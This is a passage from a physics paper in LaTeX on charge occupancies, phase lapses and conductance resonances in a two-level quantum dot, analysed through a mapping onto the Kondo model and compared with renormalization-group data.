$\epsilon_0$, for a series of constant fields $h = \Delta$. In
going from large $\epsilon_0 \gg \Gamma$ to large $-(\epsilon_0
+ U) \gg \Gamma$, the total charge of the quantum dot increases
monotonically from nearly zero to nearly two. However, the
partial occupancies $\qav{n_1}$ and $\qav{n_2}$ display
nonmonotonicities, which have drawn considerable theoretical
attention lately~\cite{Silvestrov00,Gefen04,Sindel05}. As seen
in Fig.~\ref{fig:LargeFeature}, the nonmonotonicities can be
quite large, although no population inversion occurs for
$\Gamma_{\uparrow} = \Gamma_{\downarrow}$.
Our general discussion in Sec.~\ref{sec:LocalMoment} makes it
is easy to interpret these features of the partial occupancies
$\qav{n_{i}}$. Indeed, as illustrated in
Fig.~\ref{fig:LargeFeature}, there is excellent agreement in
the local-moment regime between the exact Bethe \emph{ansatz}
results and the curves obtained from Eqs.~\eqref{eq:Actualn1n2}
and (\ref{eq:n0PT}) based on the mapping onto the Kondo
Hamiltonian. We therefore utilize Eqs.~\eqref{eq:Actualn1n2}
for analyzing the data. To begin with we note that, for
$\Gamma_{\uparrow} = \Gamma_{\downarrow}$, there is no
renormalization of the effective magnetic field. The latter
remains constant and equal to $h = \Delta$ independent of
$\epsilon_0$. Combined with the fact that $\cos(\theta_d +
s_\theta \theta_h) \equiv -1$ in Eqs.~\eqref{eq:Actualn1n2},
the magnetization $M = \qav{n_{\uparrow} - n_{\downarrow}}/2 =
\qav{n_{2} - n_{1}}/2$ depends exclusively on the ratio
$\Delta/T_K$. The sole dependence on $\epsilon_0$ enters
through $T_K$, which varies according to
Eq.~(\ref{eq:TKAndersonAccurate}). Thus, $M$ is positive for
all gate voltages $\epsilon_0$, excluding the possibility of a
population inversion.
The nonmonotonicities in the individual occupancies stem from
the explicit dependence of $T_K$ on the gate voltage
$\epsilon_0$. According to Eq.~(\ref{eq:TKAndersonAccurate}),
$T_K$ is minimal in the middle of the Coulomb-blockade valley,
increasing monotonically as a function of $|\epsilon_0 + U/2|$.
Thus, $\Delta/T_K$, and consequently $M$, is maximal for
$\epsilon_0 = -U/2$, decreasing monotonically the farther
$\epsilon_0$ departs from $-U/2$. Since $n_{\text{tot}} \approx
1$ is nearly a constant in the local-moment regime, this
implies the following evolution of the partial occupancies:
$\qav{n_1}$ decreases ($\qav{n_2}$ increases) as $\epsilon_0$
is lowered from roughly zero to $-U/2$. It then increases
(decreases) as $\epsilon_0$ is further lowered toward $-U$.
Combined with the crossovers to the empty-impurity and doubly
occupied regimes, this generates a local maximum (minimum) in
$\qav{n_1}$ ($\qav{n_2}$) near $\epsilon_0 \sim 0$ ($\epsilon_0
\sim -U$).
Note that the local extremum in $\qav{n_i}$ is most pronounced
for intermediate values of the field $\Delta$. This can be
understood by examining the two most relevant energy scales in
the problem, namely, the minimal Kondo temperature
$T_{K}^{\text{min}} = T_{K}^{}|_{\epsilon_0=-U/2}$ and the
hybridization width $\Gamma$. These two energies govern the
spin susceptibility of the impurity in the middle of the
Coulomb-blockade valley (when $\epsilon_0 = -U/2$) and in the
mixed-valent regime (when either $\epsilon_0 \approx 0$ or
$\epsilon \approx -U$), respectively. The charging curves of
Fig.~\ref{fig:LargeFeature} stem from an interplay of the three
energy scales $\Delta$, $T_K^{\text{min}}$ and $\Gamma$ as
described below.
\begin{figure}
\includegraphics[width=7.5cm]{fig4.eps}
\caption{(Color online) The exact conductance $G$
[in units of $e^2/(2\pi\hbar)$] versus
$\epsilon_0$, as obtained from the Bethe
\emph{ansatz} magnetization $M$ and
Eq.~(\ref{G-parallel}) with
$\theta_l = 3\pi/2$ and $\theta_d = \pi$.
Here $\Delta/U$ equals $10^{-5}$ [full
(black) line], $10^{-4}$ [dotted (red)
line], $10^{-3}$ [dashed (green) line]
and $0.1$ [dot-dashed (blue) line]. The
remaining model parameters are
$\Gamma/U = 0.05$ and $T = 0$. Once $\Delta$
exceeds the critical field $h_c^{} \approx
2.4 T_K^{\text{min}}$, the single peak at
$\epsilon_0 = -U/2$ is split into two
correlation-induced peaks, which cross
over to Coulomb-blockade peaks at large
$\Delta$.}
\label{fig:isoCIR-1}
\end{figure}
When $\Delta \ll T_K^{\text{min}}$, exemplified by
the pair of curves corresponding to the smallest field
$\Delta = 10^{-5} U \approx 0.24 T^{\text{min}}_K$
in Fig.~\ref{fig:LargeFeature}, the magnetic field
remains small throughout the Coulomb-blockade valley
and no significant magnetization develops. The two
levels are roughly equally populated, showing a
plateaux at $\qav{n_{1}} \approx \qav{n_{2}}
\approx 1/2$ in the regime where the dot is singly
occupied. As $\Delta$ grows and approaches
$T_K^{\text{min}}$, the field becomes sufficiently strong
to significantly polarize the impurity in the vicinity
of $\epsilon_0 = -U/2$. A gap then rapidly develops
between $\qav{n_{1}}$ and $\qav{n_{2}}$ near
$\epsilon_0 = -U/2$ as $\Delta$ is increased. Once
$\Delta$ reaches the regime $T_K^{\text{min}} \ll
\Delta \ll \Gamma$, a crossover from $h \gg T_K$
(fully polarized impurity) to $h \ll T_K$ (unpolarized
impurity) occurs as $\epsilon_0$ is tuned away
from the middle of the Coulomb-blockade valley. This
leads to the development of a pronounced maximum
(minimum) in $\qav{n_1}$ ($\qav{n_2}$), as marked by
the arrows in Fig.~\ref{fig:LargeFeature}. Finally, when
$h \gtrsim \Gamma$, the field is sufficiently large
to keep the dot polarized throughout the local-moment
regime. The extremum in $\qav{n_i}$ degenerates into
a small bump in the vicinity of either $\epsilon_0
\approx 0$ or $\epsilon_0 \approx -U$, which is
the nonmonotonic feature first discussed in
Ref.~\onlinecite{Gefen04}. This regime is exemplified
by the pair of curves corresponding to the largest
field $\Delta = 0.1 U = 2\Gamma$ in
Fig.~\ref{fig:LargeFeature}, whose parameters match
those used in Fig.~2 of Ref.~\onlinecite{Gefen04}.
Note, however, that the perturbative calculations of
Ref.~\onlinecite{Gefen04} will inevitably miss the
regime $T_K^{\text{min}} \ll \Delta \ll \Gamma$ where
this feature is large~\cite{comm-Sindel-feature}.
\subsubsection{Conductance}
\label{Sec:isoCond}
\begin{figure}
\includegraphics[width=7cm]{fig5.eps}
\caption{(Color online) The exact occupation numbers
$\qav{n_i}$ and conductance $G$ [in units
of $e^2/(2 \pi \hbar)$] as a function of
$\epsilon_2$, for $T = 0$, $\Gamma/U = 0.2$
and fixed $\epsilon_1/U = -1/2$. The
population inversion at $\epsilon_2 =
\epsilon_1$ leads to a sharp transmission
zero (phase lapse). Note the general
resemblance between the functional dependence of
$G$ on $\epsilon_2$ and the correlation-induced
resonances reported by Meden and
Marquardt~\cite{Meden06PRL} for
$\Gamma_{\uparrow} \neq \Gamma_{\downarrow}$
(see Fig.~\ref{fig:CIR}).}
\label{fig:isoCIR-2}
\end{figure}
The data of Fig.~\ref{fig:LargeFeature} can easily be
converted to conductance curves by using the exact
formula of Eq.~\eqref{G-parallel} with $\theta_l = 3\pi/2$
and $\theta_d = \pi$.
The outcome is presented in Fig.~\ref{fig:isoCIR-1}.
The evolution of $G(\epsilon_0)$ with increasing
$\Delta$ is quite dramatic. When $\Delta$ is small,
the conductance is likewise small with a shallow peak
at $\epsilon_0 = -U/2$. This peak steadily grows with
increasing $\Delta$ until reaching the unitary limit, at
which point it is split in two. Upon further increasing
$\Delta$, the two split peaks gradually depart,
approaching the peak positions $\epsilon_0 \approx 0$
and $\epsilon_0 \approx -U$ for large $\Delta$. The
conductance at each of the two maxima remains pinned
at all stages at the unitary limit.
These features of the conductance can be naturally
understood based on Eqs.~\eqref{G-parallel} and
\eqref{eq:Actualn1n2}. When $\Delta \ll T_K^{\text{min}}$,
the magnetization $M \approx \Delta/(2\pi T_K)$ and the
conductance $G \approx (\Delta/T_K)^2 e^2/(2\pi \hbar)$
are uniformly small, with a peak at $\epsilon_0 = -U/2$
where $T_K$ is the smallest. The conductance
monotonically grows with increasing $\Delta$ until
reaching the critical field $\Delta = h_c^{} \approx 2.4
T_K^{\text{min}}$, where $M|_{\epsilon_0 = -U/2} = 1/4$
and $G|_{\epsilon_0 = -U/2} = e^2/(2 \pi \hbar)$. Upon
further increasing $\Delta$, the magnetization at
$\epsilon_0 = -U/2$ exceeds $1/4$, and the associated
conductance decreases. The unitarity condition
$M = 1/4$ is satisfied at two gate voltages
$\epsilon^{\pm}_{\text{max}}$ symmetric about $-U/2$,
defined by the relation $T_K \approx \Delta/2.4$. From
Eq.~(\ref{eq:TKAndersonAccurate}) one obtains
\begin{equation}
\epsilon_{\pm}^{\text{max}} = -\frac{U}{2}
\pm \sqrt{
\frac{U^2}{4} - \Gamma^2 +
\frac{2\Gamma U}{\pi}
\ln \left (
\frac{\pi \Delta}
{2.4 \sqrt{2 \Gamma U}}
\right )
} \, .
\end{equation}
The width of the two conductance peaks,
$\Delta \epsilon$, can be estimated for
$T_K^{\text{min}} \ll \Delta \ll \Gamma$ from the inverse
of the derivative $d(\Delta/T_K)/d\epsilon_0$, evaluated
at $\epsilon_0^{} = \epsilon_{\text{max}}^{\pm}$. It
yields
\begin{equation}
\Delta \epsilon \sim \frac{\Gamma U}
{\pi | \epsilon_{\text{max}}^{\pm} + U/2 |} \, .
\end{equation}
Finally, when $\Delta > \Gamma$, the magnetization
exceeds $1/4$ throughout the local-moment regime. The
resonance condition $M = 1/4$ is met only as charge
fluctuations become strong, namely, for either
$\epsilon_0 \approx 0$ or $\epsilon_0 \approx -U$. The
resonance width $\Delta \epsilon$ evolves continuously in
this limit to the standard result for the Coulomb-blockade
resonances, $\Delta \epsilon \sim \Gamma$.
Up until now the energy difference $\Delta$ was kept
constant while tuning the average level position
$\epsilon_0$. This protocol, which precludes population
inversion as a function of the control parameter, best
suits a single-dot realization of our model, where both
levels can be uniformly tuned using a single gate voltage.
In the alternative realization of two spatially separated
quantum dots, each controlled by its own separate gate
voltage, one could fix the energy level
$\epsilon_1 = \epsilon_0 + \Delta/2$ and sweep the other
level, $\epsilon_2 = \epsilon_0 - \Delta/2$. This setup
amounts to changing the field $h$ externally, and is
thus well suited for probing the magnetic response of
our effective impurity.
An example for such a protocol is presented in
Fig.~\ref{fig:isoCIR-2}, where $\epsilon_1$ is held
fixed at $\epsilon_1 = -U/2$. As $\epsilon_2$ is
swept through $\epsilon_1$, a population inversion
takes place, leading to a narrow dip in the conductance.
The width of the conductance dip is exponentially
small due to Kondo correlations. Indeed, one can
estimate the dip width, $\Delta \epsilon_{\text{dip}}$,
from the condition $|\epsilon_1 - \epsilon_2| =
T_K|_{\epsilon_2 = \epsilon_1}$, which yields
\begin{equation}
\Delta \epsilon_{\text{dip}} \sim
\sqrt{U \Gamma} \exp
\left (
-\frac{\pi U}{8 \Gamma}
\right ) \, .
\label{eq:CIRwidthIsotropic}
\end{equation}
\subsection{Anisotropic couplings, $\Gamma_{\uparrow}
\neq \Gamma_{\downarrow}$}
\label{sec:ResultsAnisotropic}
As demonstrated at length in Sec.~\ref{sec:ResultsIsotropic},
the occurrence of population inversion and a transmission
zero for $\Gamma_{\uparrow} = \Gamma_{\downarrow}$
requires an external modulation of the effective
magnetic field. Any practical device will inevitably
involve, though, some tunnelling anisotropy,
$V_{\uparrow} \neq V_{\downarrow}$. The latter provides
a different route for changing the effective magnetic
field, through the anisotropy-induced terms in
Eq.~\eqref{h-total}. Implementing the same protocol
as in Sec.~\ref{sec:ResCharging} (that is, uniformly
sweeping the average level position $\epsilon_0$ while
keeping the difference $\Delta$ constant) would now
generically result both in population inversion and a
transmission zero due to the rapid change in direction
of the total field $\vec{h}_{\text{tot}}$. As emphasized
in Sec.~\ref{sec:occupany-PF}, the two phenomena
will generally occur at different gate voltages
when $V_{\uparrow} \neq V_{\downarrow}$.
\subsubsection{Degenerate levels, $\Delta = b = 0$}
We begin our discussion with the case where
$\Delta = b = 0$, which was extensively studied in
Ref.~\onlinecite{Meden06PRL}. It corresponds to a
particular limit of the parallel-field configuration where
$h = 0$. In the parallel-field configuration, the
conductance $G$ and occupancies $\qav{n_i}$ take the exact
forms specified in Eqs.~(\ref{G-parallel-field}) and
(\ref{eq:Actualn1n2-PF}), respectively. These expressions
reduce in the Kondo regime to Eqs.~(\ref{G-no-flux}) and
(\ref{eq:Actualn1n2}), with $\theta_h$ either equal to
zero or $\pi$, depending on the sign of $h_{\text{tot}}^z$.
\begin{figure}
\includegraphics[width=8cm]{fig6.eps}
\caption{The occupation numbers $\qav{n_i}$ and conductance
$G$ [in units of $e^2/(2 \pi \hbar)$] as a
function of $\epsilon_0 + U/2$ [in units of
$\Gamma_{\text{tot}} = (\Gamma_{\uparrow} +
\Gamma_{\downarrow})$],
calculated from Eqs.~(\ref{G-no-flux}) and
(\ref{eq:Actualn1n2}) based on the mapping
onto the Kondo model. The model parameters
are identical to those used in Fig.~2 of
Ref.~\onlinecite{Meden06PRL}, lower left panel:
$h = \varphi = 0$, $U/\Gamma_{\text{tot}} = 6$,
$\Gamma_{\uparrow}/\Gamma_{\text{tot}} = 0.62415$
and $T = 0$. The
explicit tunnelling matrix elements are detailed
in Eq.~(\ref{eq:AMM}), corresponding to the
rotation angles $\theta_l = 2.1698$ and
$\theta_d = -0.63434$ (measured in radians).
The angle $\theta_h$ equals zero. The
inset shows functional renormalization-group (fRG)
data as defined in Ref.~\onlinecite{Meden06PRL},
corrected for the renormalization of the
two-particle vertex~\cite{Karrasch06,MedenThanks}.
The small symbols in the inset
show the conductance as calculated
from the fRG occupation numbers using our
Eq.~\eqref{G-parallel}. The horizontal dotted
lines in each plot mark the maximal conductance
predicted by Eq.~\eqref{G-parallel},
$(e^2/2 \pi \hbar) \sin^2 \theta_l$.}
\label{fig:CIR}
\end{figure}
Figure~\ref{fig:CIR} shows the occupation numbers and
the conductance obtained from Eqs.~(\ref{G-no-flux})
and (\ref{eq:Actualn1n2}), for $\Delta = b = 0$ and
the particular tunnelling matrix used in Fig.~2 of
Ref.~\onlinecite{Meden06PRL}:
\begin{align}
\hat{A} = A_0
\begin{bmatrix}
\sqrt{0.27} & \sqrt{0.16} \\
\sqrt{0.33} & -\sqrt{0.24}\\
\end{bmatrix} \, .
\label{eq:AMM}
\end{align}
Here $A_0$ equals $\sqrt{\Gamma_{\text{tot}}/ (\pi \rho)}$,
with $\Gamma_{\text{tot}} =
\Gamma_{\uparrow}+\Gamma_{\downarrow}$ being the combined
hybridization width. The Coulomb repulsion $U$ is set equal to
$6 \Gamma_{\text{tot}}$, matching the value used in the lower
left panel of Fig.~2 in Ref.~\onlinecite{Meden06PRL}. For
comparison, the corresponding functional renormalization-group
(fRG) data of Ref.~\onlinecite{Meden06PRL} is shown in the
inset, after correcting for the renormalization of the
two-particle vertex~\cite{Karrasch06,MedenThanks}. The accuracy
of the fRG has been established~\cite{Meden06PRL,Karrasch06} up
to moderate values of $U/\Gamma_{\text{tot}} \sim 10$ through
a comparison with Wilson's numerical renormalization-group
method~\cite{NrgMethods}. Including the renormalization of
the two-particle vertex further improves the fRG data as
compared to that of Ref.~\onlinecite{Meden06PRL}, as reflected,
e.g., in the improved position of the outer pair of conductance
resonances.
The agreement between our analytical approach and the fRG is
evidently very good in the local-moment regime, despite the
rather moderate value of $U/\Gamma_{\text{tot}}$ used.
Noticeable deviations develop in $\qav{n_i}$ only as the
mixed-valent regime is approached (for $\epsilon_0 \agt
-\Gamma_{\text{tot}}$ or $\epsilon + U \alt
\Gamma_{\text{tot}}$), where our approximations naturally break
down. In particular, our approach accurately describes the
phase lapse at $\epsilon_0 = -U/2$, the inversion of population
at the same gate voltage, the location and height of the
correlation-induced resonances, and even the location and
height of the outer pair of conductance resonances. Most
importantly, our approach provides a coherent analytical
picture for the physics underlying these various features, as
elaborated below.
Before proceeding to elucidate the underlying physics, we
briefly quote the relevant parameters that appear in the
conversion to the generalized Anderson model of
Eq.~(\ref{eq:Hand}). Using the prescriptions detailed in
Appendix~\ref{App:SVDdetails}, the hybridization widths
$\Gamma^{}_{\sigma} = \pi \rho V_{\sigma}^2$ come out to be
\begin{equation}
\Gamma_{\uparrow}/\Gamma_{\text{tot}} = 0.62415 \; ,
\;\;\;\;
\Gamma_{\downarrow}/\Gamma_{\text{tot}} = 0.36585 \, ,
\end{equation}
while the angles of rotation equal
\begin{equation}
\theta_l = 2.1698 \; , \;\;\;\;
\theta_d = -0.63434 \, .
\end{equation}
Here $\theta_l$ and $\theta_d$ are quoted in radians. Using the
exact conductance formula of Eq.~(\ref{G-parallel-field}), $G$
is predicted to be bounded by the maximal conductance
\begin{equation}
G_{\text{max}} =
\frac{e^2}{2 \pi \hbar} \sin^2 \theta_l
= 0.68210 \frac{e^2}{2 \pi \hbar} \, ,
\label{G-max}
\end{equation}
obtained whenever the magnetization $M = \qav{n_{\uparrow} -
n_{\downarrow}}/2$ is equal to $\pm 1/4$. The heights of the
fRG resonances are in excellent agreement with
Eq.~(\ref{G-max}). Indeed, as demonstrated in the inset to
Fig.~\ref{fig:CIR}, the fRG occupancies and conductance comply
to within extreme precision with the exact relation of
Eq.~(\ref{G-parallel}). As for the functional form of the Kondo
temperature $T_K$, its exponential dependence on $\epsilon_0$
is very accurately described by Eq.~(\ref{scaling-T_K-2}). In
the absence of a precise expression for the pre-exponential
factor when $\Gamma_{\uparrow} \neq \Gamma_{\downarrow}$, we
employ the expression
\begin{equation}
T_K = (\sqrt{U \Gamma_{\text{tot}}}/\pi) \exp
\left [
\frac{\pi \epsilon_0 (U + \epsilon_0)}
{2U(\Gamma_{\uparrow}-\Gamma_{\downarrow})}
\ln\!
\frac{\Gamma_{\uparrow}}{\Gamma_{\downarrow}}
\right ] \, ,
\label{T_K-anisotropic}
\end{equation}
which properly reduces to Eq.~\eqref{eq:TKAndersonAccurate} (up
to the small $\Gamma^2$ correction in the exponent) when
$\Gamma_{\uparrow} = \Gamma_{\downarrow} = \Gamma$.
The occupancies and conductance of Fig.~\ref{fig:CIR} can be
fully understood from our general discussion in
Sec.~\ref{sec:LocalMoment}. Both quantities follow from the
magnetization $M$, which vanishes at $\epsilon_0 = -U/2$ due to
particle-hole symmetry. As a consequence, the two levels are
equally populated at $\epsilon_0 = -U/2$ and the conductance
vanishes [see Eqs.~(\ref{G-parallel-field}) and
(\ref{eq:Actualn1n2-PF})]. Thus, there is a simultaneous phase
lapse and an inversion of population at $\epsilon_0 = -U/2$,
which is a feature generic to $\Delta = b = 0$ and arbitrary
$\hat{A}$. As soon as the gate voltage is removed from $-U/2$,
i.e., $\epsilon_0 = -U/2 + \delta \epsilon$ with $\delta
\epsilon \neq 0$, a finite magnetization develops due to the
appearance of a finite effective magnetic field
$\vec{h}_{\text{tot}} = h^z_{\text{tot}} \hat{z}$ with
\begin{equation}
h^{z}_{\text{tot}} \approx
\frac{\Gamma_{\uparrow} - \Gamma_{\downarrow}}{\pi}
\ln \frac{1 + 2\delta \epsilon/U}
{1 - 2\delta \epsilon/U}
\label{h-z-tot}
\end{equation}
[see Eq.~(\ref{eq:htotExplicit})]. Note that the sign of
$h^{z}_{\text{tot}}$ coincides with that of $\delta \epsilon$,
hence $M$ is positive (negative) for $\epsilon_0 > -U/2$
($\epsilon_0 < -U/2$). Since $\cos \theta_d > 0$ for the model
parameters used in Fig.~\ref{fig:CIR}, it follows from
Eq.~(\ref{eq:Actualn1n2-PF}) that $\qav{n_1} > \qav{n_2}$
($\qav{n_1} < \qav{n_2}$) for $\epsilon_0 > -U/2$ ($\epsilon_0
< -U/2$), as is indeed found in Fig.~\ref{fig:CIR}. Once again,
this result is generic to $\Delta = b = 0$, except for the sign
of $\cos \theta_d$ which depends on details of the tunnelling
matrix $\hat{A}$.
In contrast with the individual occupancies, the conductance $G$
depends solely on the magnitude of $M$, and is therefore a
symmetric function of $\delta \epsilon$. Similar to the rich
structure found for $\Gamma_{\uparrow} = \Gamma_{\downarrow}$
and $\Delta > 0$ in Fig.~\ref{fig:isoCIR-1}, the intricate
conductance curve in Fig.~\ref{fig:CIR} is the result of the
interplay between $h_{\text{tot}}^z$ and $T_K$, and the
nonmonotonic dependence of $G$ on $|M|$. The basic physical
picture is identical to that in Fig.~\ref{fig:isoCIR-1}, except
for the fact that the effective magnetic field
$h_{\text{tot}}^z$ is now itself a function of the gate voltage
$\epsilon_0$.
As a rule, the magnetization $|M|$ first increases with
$|\delta \epsilon|$ due to the rapid increase in
$h_{\text{tot}}^z$. It reaches its maximal value
$M_{\text{max}}$ at some intermediate $|\delta \epsilon|$
before decreasing again as $|\delta \epsilon|$ is further
increased. Inevitably $|M|$ becomes small again once $|\delta
\epsilon|$ exceeds $U/2$. The shape of the associated
conductance curve depends crucially on the magnitude of
$M_{\text{max}}$, which monotonically increases as a function
of $U$. When $M_{\text{max}} < 1/4$, the conductance features
two symmetric maxima, one on each side of the particle-hole
symmetric point. Each of these peaks is analogous to the one
found in Fig.~\ref{fig:isoCIR-1} for $\Delta < h_c$. Their
height steadily grows with increasing $U$ until the unitarity
condition $M_{\text{max}} = 1/4$ is met. This latter condition
defines the critical repulsion $U_c$ found in
Ref.~\onlinecite{Meden06PRL}. For $U > U_c$, the maximal
magnetization $M_{\text{max}}$ exceeds one quarter. Hence the
unitarity condition $M = \pm 1/4$ is met at two pairs of gate
voltages, one pair of gate voltages on either side of the
particle-hole symmetric point $\epsilon_0 = -U/2$. Each of the
single resonances for $U < U_c$ is therefore split in two, with
the inner pair of peaks evolving into the correlation-induced
resonances of Ref.~\onlinecite{Meden06PRL}. The point of
maximal magnetization now shows up as a local minimum of the
conductance, similar to the point $\epsilon_0 = -U/2$ in
Fig.~\ref{fig:isoCIR-1} when $\Delta > h_c$.
For large $U \gg \Gamma_{\text{tot}}$, the magnetization $|M|$
grows rapidly as one departs from $\epsilon_0 = -U/2$, due to
the exponential smallness of the Kondo temperature
$T_K|_{\epsilon_0 = -U/2}$. The dot remains polarized
throughout the local-moment regime, loosing its polarization
only as charge fluctuations become strong. In this limit the
inner pair of resonances lie exponentially close to $\epsilon_0
= -U/2$ (see below), while the outer pair of resonances
approach $|\delta \epsilon| \approx U/2$ (the regime of
the conventional Coulomb blockade).
The description of this regime can be made quantitative by
estimating the position $\pm \delta \epsilon_{\text{CIR}}$ of
the correlation-induced resonances. Since $M \to
M_K(h^{z}_{\text{tot}}/T^{}_K)$ deep in the local-moment
regime, and since $\delta \epsilon_{\text{CIR}} \ll
\Gamma_{\text{tot}}$ for $\Gamma_{\text{tot}} \ll U$, the
correlation-induced resonances are peaked at the two gate
voltages where $h^{z}_{\text{tot}} \approx \pm 2.4
T^{}_K|_{\epsilon_0 = -U/2}$. Expanding Eq.~(\ref{h-z-tot}) to
linear order in $\delta \epsilon_{\text{CIR}}/U \ll 1$ and
using Eq.~(\ref{T_K-anisotropic}) one finds
\begin{eqnarray}
\delta \epsilon_{\text{CIR}} &\approx& 0.6
\frac{\pi U}{\Gamma_{\uparrow}-\Gamma_{\downarrow}}
T_K|_{\epsilon_0 = -U/2}
\nonumber \\
&=& 0.6 \frac{U \sqrt{U \Gamma_{\text{tot}}}}
{\Gamma_{\uparrow}-\Gamma_{\downarrow}}
\exp\!
\left [
\frac{-\pi U \ln(\Gamma_{\uparrow}/
\Gamma_{\downarrow})}
{8(\Gamma_{\uparrow}-\Gamma_{\downarrow})}
\right ] .
\label{eq:CIRwidth}
\end{eqnarray}
Here the pre-exponential factor in the final expression for
$\delta \epsilon_{\text{CIR}}$ is of the same accuracy as that
in Eq.~(\ref{T_K-anisotropic}).
We note in passing that the shape of the correlation-induced
resonances and the intervening dip can be conveniently
parameterized in terms of the peak position $\delta
\epsilon_{\text{CIR}}$ and the peak conductance
$G_{\text{max}}$. Expanding Eq.~(\ref{h-z-tot}) to linear order
in $\delta \epsilon/U \ll 1$ and using
Eq.~(\ref{G-parallel-field}) one obtains
\begin{equation}
G(\delta \epsilon) = G_{\text{max}} \sin^2\!
\left [
2 \pi M_K\!
\left (
\frac{2.4 \delta \epsilon}
{\delta \epsilon_{\text{CIR}}}
\right )
\right ] \, ,
\end{equation}
where $M_K(h/T_K)$ is the universal magnetization curve of the
Kondo model [given explicitly by \eqref{eq:MKfullWiegmann}].
This parameterization in terms of two easily extractable
parameters may prove useful for analyzing future experiments.
It is instructive to compare Eq.~(\ref{eq:CIRwidth}) for
$\delta \epsilon_{\text{CIR}}$ with the fRG results of
Ref.~\onlinecite{Meden06PRL}, which tend to overestimate
$\delta \epsilon_{\text{CIR}}$. For the special case where
$a_{L 1} = a_{R 1}$ and $a_{L 2} = -a_{R 2}$, an analytic
expression was derived for $\delta \epsilon_{\text{CIR}}$ based
on the fRG~\cite{Meden06PRL}. The resulting expression,
detailed in Eq.~(4) of Ref.~\onlinecite{Meden06PRL}, shows an
exponential dependence nearly identical to that of
Eq.~(\ref{eq:CIRwidth}), but with an exponent that is smaller
in magnitude by a factor of $\pi^2/8 \approx
1.23$~\cite{Relating-the-Gamma's}. The same numerical factor
appears to distinguish the fRG and the numerical
renormalization-group data depicted in Fig.~3 of
Ref.~\onlinecite{Meden06PRL}, supporting the accuracy of our
Eq.~(\ref{eq:CIRwidth}). It should be emphasized, however, that
Fig.~3 of Ref.~\onlinecite{Meden06PRL} pertains to the
tunnelling matrix of Eq.~(\ref{eq:AMM}) rather than the special
case referred to above.
We conclude the discussion of the case where $\Delta = b = 0$
with accurate results on the renormalized dot levels when the
dot is tuned to the peaks of the correlation-induced
resonances. The renormalized dot levels,
$\tilde{\epsilon}_{\uparrow}$ and
$\tilde{\epsilon}_{\downarrow}$, can be defined through the $T
= 0$ retarded dot Green functions at the Fermi energy:
\begin{equation}
G_{\sigma}(\epsilon = 0) =
\frac{1}{-\tilde{\epsilon}_{\sigma}
+ i\Gamma_{\sigma}} \, .
\label{renormalized-levels-def}
\end{equation}
Here, in writing the Green functions of
Eq.~(\ref{renormalized-levels-def}), we have made use of the
fact that the imaginary parts of the retarded dot
self-energies, $-\Gamma_{\sigma}$, are unaffected by the
Coulomb repulsion $U$ at zero temperature at the Fermi energy.
The energies $\tilde{\epsilon}_{\sigma}$ have the exact
representation~\cite{Langreth66} $\tilde{\epsilon}_{\sigma} =
\Gamma_{\sigma} \cot \delta_{\sigma}$ in terms of the
associated phase shifts $\delta_{\sigma} = \pi \qav{n_{\sigma}}$.
Since $M = \pm 1/4$ at the peaks of the correlation-induced
resonances, this implies that $\delta_{\sigma} = \pi/2 \pm
\sigma \pi/4$, where we have set $n_{\text{tot}} =
1$~\cite{Comment-on-renormalized-levels}. Thus, the
renormalized dot levels take the form
$\tilde{\epsilon}_{\sigma} = \mp\sigma \Gamma_{\sigma}$,
resulting in
\begin{equation}
\tilde{\epsilon}_{\uparrow} \tilde{\epsilon}_{\downarrow}
= -\Gamma_{\uparrow} \Gamma_{\downarrow} \, .
\label{renormalized-levels}
\end{equation}
The relation specified in Eq.~(\ref{renormalized-levels})
was found in Ref.~\onlinecite{Meden06PRL},
for the special case where $a_{L 1} = a_{R 1}$ and
$a_{L 2} = -a_{R 2}$~\cite{Relating-the-Gamma's}.
Here it is seen to be a generic feature of the
correlation-induced resonances for $\Delta = b = 0$
and arbitrary $\hat{A}$.
\subsubsection{Nondegenerate levels:
arbitrary $\Delta$ and $b$}
Once $\sqrt{\Delta^2 + b^2} \neq 0$, the conductance and the
partial occupancies can have a rather elaborate dependence on
the gate voltage $\epsilon_0$. As implied by the general
discussion in Sec.~\ref{sec:LocalMoment}, the underlying
physics remains driven by the competing effects of the
polarizing field $h_{\text{tot}}$ and the Kondo temperature
$T_K$. However, the detailed dependencies on $\epsilon_0$ can be
quite involving and not as revealing. For this reason we shall
not seek a complete characterization of the conductance $G$ and
the partial occupancies $\qav{n_i}$ for arbitrary couplings.
Rather, we shall focus on the case where no Aharonov-Bohm
fluxes are present and ask two basic questions: (i) under what
circumstances is the phenomenon of a phase lapse generic? (ii)
under what circumstances is a population inversion generic?
When $\varphi_L = \varphi_R = 0$, the conductance and the
partial occupancies are given by Eqs.~(\ref{G-no-flux}) and
(\ref{eq:Actualn1n2}), respectively. Focusing on $G$ and on
$\qav{n_1 - n_2}$, these quantities share a common form, with
factorized contributions of the magnetization $M_K$ and the
rotation angles. The factors containing
$M_K(h_{\text{tot}}/T_K)$ never vanish when $h \sin \theta \neq
0$, since $h_{\text{tot}}$ always remains positive. This
distinguishes the generic case from the parallel-field
configuration considered above, where phase lapses and
population inversions are synonymous with $M = 0$. Instead, the
conditions for phase lapses and population inversions to occur
become distinct once $h \sin \theta \neq 0$, originating from
the independent factors where the rotation angles appear. For a
phase lapse to develop, the combined angle $\theta_l + s_R
\theta_h$ must equal an integer multiple of $\pi$. By contrast,
the inversion of population requires that $\theta_d +
s_{\theta}\theta_h = \pi/2 \!\!\mod\!\pi$. Here the dependence
on the gate voltage $\epsilon_0$ enters solely through the
angle $\theta_h$, which specifies the orientation of the
effective magnetic field $\vec{h}_{\text{tot}}$ [see
Eq.~(\ref{eq:htotExplicit})]. Since the rotation angles
$\theta_l$ and $\theta_d$ are generally unrelated, this implies
that the two phenomena will typically occur, if at all, at
different gate voltages.
For phase lapses and population inversions to be ubiquitous,
the angle $\theta_h$ must change considerably as $\epsilon_0$
is swept across the Coulomb-blockade valley. In other words,
the effective magnetic field $\vec{h}_{\text{tot}}$ must nearly
flip its orientation in going from $\epsilon_0 \approx 0$ to
$\epsilon_0 \approx -U$. Since the $x$ component of the field
is held fixed at $h_{\text{tot}}^{x} = h \sin \theta > 0$, this
means that its $z$ component must vary from $h_{\text{tot}}^{z}
\gg h_{\text{tot}}^{x}$ to $-h_{\text{tot}}^{z} \gg
h_{\text{tot}}^{x}$ as a function of $\epsilon_0$. When this
requirement is met, then both a phase lapse and an inversion of
population are essentially guaranteed to occur. Since
$h_{\text{tot}}^{z}$ crudely changes by
\begin{equation}
\Delta h_{\text{tot}}^{z} \sim
\frac{2}{\pi} (\Gamma_{\uparrow} - \Gamma_{\downarrow})
\ln ( U/\Gamma_{\text{tot}} )
\end{equation}
